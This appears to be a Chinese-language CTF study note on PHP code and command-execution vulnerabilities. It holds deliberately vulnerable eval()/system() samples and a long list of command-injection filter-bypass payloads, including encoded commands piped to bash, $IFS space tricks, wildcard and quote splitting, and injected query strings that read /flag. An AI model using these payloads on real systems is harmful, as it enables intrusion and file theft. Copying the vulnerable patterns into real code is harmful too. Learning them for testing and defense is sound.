rce执行和命令执行漏洞
eval()函数将传进来的参数当作php代码进行解析 Rce代码漏洞示例
<?php
$code=$_get['x'];
eval($code) //代码执行
>
命令执行漏洞代码示例
<?php
$code=$_get['x'];
echo system($code) //命令执行
>
代码执行形成条件
1、可控变量
2、漏洞函数
产生
web源码 thinkphp webmin
中间件平台
其他环境
poc验证漏洞,exp利用漏洞
防御:
敏感函数禁用,变量过滤或固定,waf产品
rce漏洞函数
eval()、assert()、preg_replace()、**${}**
注意: ${}执行代码(在 双引号 中倘若有${}出现,那么{}内的内容将被当做php代码块来执行。)
方法:${php代码}
命令执行函数
system() :
shell_exec():
exec():
passthru():
空格被绕过
< 、<>、%09(tab键)、%20、$IFS$9、$IFS$1、${IFS}、$IFS等,还可以用{} 比如 {cat,flag}
关键字绕过
1.URL编码绕过
关于$_SERVER['QUERY_STRING'],他验证的时候是不会进行url解码的,但是在GET的时候则会进行url解码,所以我们只需要将关键词进行url编码就能绕过。
2.Base64编码绕过
echo MTIzCg==|base64 -d 其将会打印123 //MTIzCg==是123的base64编码
echo "Y2F0IC9mbGFn"|base64 -d|bash 将执行了cat /flag //Y2F0IC9mbGFn是cat /flag的base64编码
echo "bHM="|base64 -d|sh 将执行ls
3、hex编码绕过
echo "636174202f666c6167"|xxd -r -p|bash 将执行cat /flag
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") 执行cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0 执行cat /flag
4、Oct编码绕过
$(printf "\154\163") 执行ls
5、偶读拼接绕过
$(printf "\154\163") 执行ls
6、内联执行绕过
echo "a`pwd`" #输出a/root
?ip=127.0.0.1;cat$IFS$9`ls`
7、引号绕过
ca""t => cat
mo""re => more
in""dex => index
ph""p => php
8、通配符绕过
假设flag在/flag中:
/?url=127.0.0.1|ca""t%09/fla?
/?url=127.0.0.1|ca""t%09/fla*
假设flag在/flag.txt中:
/?url=127.0.0.1|ca""t%09/fla????
/?url=127.0.0.1|ca""t%09/fla*
假设flag在/flags/flag.txt中:
/?url=127.0.0.1|ca""t%09/fla??/fla????
/?url=127.0.0.1|ca""t%09/fla*/fla*
9、反斜杠绕过
ca\t => cat
mo\re => more
in\dex => index
ph\p => php
n\l => nl
10、匹配绕过
c[a]t => cat
mo[r]e => more
in[d]ex => index
p[h]p => php
|